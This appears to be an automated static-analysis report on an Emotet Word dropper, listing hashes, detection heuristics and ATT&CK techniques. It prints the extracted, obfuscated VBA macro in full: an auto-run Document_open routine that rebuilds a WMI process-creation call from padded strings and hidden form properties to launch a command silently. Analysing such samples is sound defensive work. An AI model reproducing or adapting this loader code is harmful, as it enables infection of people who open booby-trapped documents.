Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f181ae49ec11e900…

MALICIOUS

Office (OLE)

170.3 KB Created: 2020-07-28 00:13:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: ceff66a1a32d6089b2ac0dd488cf18ac SHA-1: 07c028d81414c6cce2de1211e84b2125c6fd3922 SHA-256: f181ae49ec11e900d5e1594141cb5f4bd69c3f3f0cef4beb5ca1214759ec05fd
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro that is automatically executed upon opening, as indicated by the Document_Open macro and p-code auto-execution heuristics. The macro utilizes CreateObject and reads from UserForm properties to construct and execute a command, likely to download and run a secondary payload. ClamAV detection confirms this as a known Emotet dropper variant.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4002 bytes
SHA-256: 41a7c58eb6ab13a4690cd57be30a3b965ee2b4952fec2b127cbfe1e1d2f45eb2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vumcefkiap"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
beitquaug.soizboorzaulbiof
End Sub


Attribute VB_Name = "beitquaug"
Attribute VB_Base = "0{8098427A-6828-492A-AAF6-55D0EC7BC7B3}{1B9873BA-D30F-406E-A0E7-9FE14C10D07A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function soizboorzaulbiof()
luupmarwoib = Chr(beitquaug.Zoom + (120 / 8))
Dim IPuElKrfP As Long
IPuElKrfP = InStr("ySchaNX4ÏskAGW", "X4ÏskAGW")
teugjeivteitxoach = "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsi7773tGJ3^55GHDG%*&k7^*33333fsnm7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsgm7773tGJ3^55GHDG%*&k7^*33333fst7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs" + luupmarwoib + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs:7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsin7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs37773tGJ3^55GHDG%*&k7^*33333fs27773tGJ3^55GHDG%*&k7^*33333fs_7773tGJ3^55GHDG%*&k7^*33333fs" + beitquaug.daomgaiwnof + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsr7773tGJ3^55GHDG%*&k7^*33333fsoc7773tGJ3^55GHDG%*&k7^*33333fses7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fss7773tGJ3^55GHDG%*&k7^*33333fs"
Dim F0mYkFY As Long
F0mYkFY = InStr("aIiQAL", "QAL")
vouxgaoqu = seoxboewpautfeuk(teugjeivteitxoach)
Dim yJ0Í7 As Long
yJ0Í7 = InStr("UKLCRYjw6ÖDbKv5É", "jw6ÖDbKv5É")
Set baeyvew = CreateObject(vouxgaoqu)
Dim qZ0Ýu1àM As Long
qZ0Ýu1àM = InStr("AwlkNbSXjDwlOm3Êt", "XjDwlOm3Êt")
choiyjeovwiwyad = beitquaug.feosjaowcarboek.ControlTipText
Dim w3åQyi1ÍHG As Long
w3åQyi1ÍHG = InStr("g0ÛK6ÐNJVHTZUWN", "VHTZUWN")
feahsiozxaj = vouxgaoqu + luupmarwoib + beitquaug.chuapwouryaem.ControlTipText + choiyjeovwiwyad
TM0iX = 8
Do While TM0iX < 8 + 5
TM0iX = TM0iX + 9: DoEvents
Loop
cheovleowwuc = feahsiozxaj + beitquaug.daomgaiwnof
Zqw3ÕvB = 6
Do While Zqw3ÕvB < 6 + 9
Zqw3ÕvB = Zqw3ÕvB + 5: DoEvents
Loop
Set tiowqueefgeix = wogthiezkeuc(cheovleowwuc)
HrE4ÜrA5á = 8
Do While HrE4ÜrA5á < 8 + 6
HrE4ÜrA5á = HrE4ÜrA5á + 4: DoEvents
Loop
v = Array("PoS", baeyvew. _
Create(theekfeepmihdoiw, meoqucaegbas, tiowqueefgeix), "SOP")
Dim fft As Long
fft = InStr("XR1Ìqpffk", "qpffk")
End Function
Function wogthiezkeuc(wunhiod)
Set wogthiezkeuc = CreateObject(wunhiod)
Dim KlHCGw As Integer
KlHCGw = 2
Do While KlHCGw < 2 + 4
KlHCGw = KlHCGw + 9: DoEvents
Loop
wogthiezkeuc.showwindow = (peajzaquxauh + feuthfehchep) + (vipzeaxwirdiat + thuutsoewthaquboaj)
Dim EQ6ÍjrK As Integer
EQ6ÍjrK = 6
Do While EQ6ÍjrK < 6 + 6
EQ6ÍjrK = EQ6ÍjrK + 8: DoEvents
Loop
End Function
Function seoxboewpautfeuk(jaixxugzeaf)
joegsaepzaox = jaixxugzeaf
Dim aCX3Ì1ÀlwSM As Integer
aCX3Ì1ÀlwSM = 7
Do While aCX3Ì1ÀlwSM < 7 + 3
aCX3Ì1ÀlwSM = aCX3Ì1ÀlwSM + 9: DoEvents
Loop
baumcoibkouwsoep = Split _
(joegsaepzaox, "7773tGJ3^55GHDG%*&k7^*33333fs")
Dim nV8FB As Integer
nV8FB = 4
Do While nV8FB < 4 + 2
nV8FB = nV8FB + 2: DoEvents
Loop
cuudwoic = c + Join(baumcoibkouwsoep, E)
Dim gAuvLy As Integer
gAuvLy = 9
Do While gAuvLy < 9 + 2
gAuvLy = gAuvLy + 4: DoEvents
Loop
seoxboewpautfeuk = cuudwoic
Dim qFZ As Long
qFZ = InStr("wfEl2ÔI3ÖhXYPe6ÛRt", "hXYPe6ÛRt")
End Function
Function theekfeepmihdoiw()
q = beitquaug.weagvuvruab.Pages(333 / 333).ControlTipText
Dim VpAD As Long
VpAD = InStr("yGDcMofuCS4Çt", "ofuCS4Çt")
theekfeepmihdoiw = seoxboewpautfeuk(q)
Dim JJOQW7Ö As Long
JJOQW7Ö = InStr("PeX7ÌtQajQoX8ÃaWZR", "ajQoX8ÃaWZR")
End Function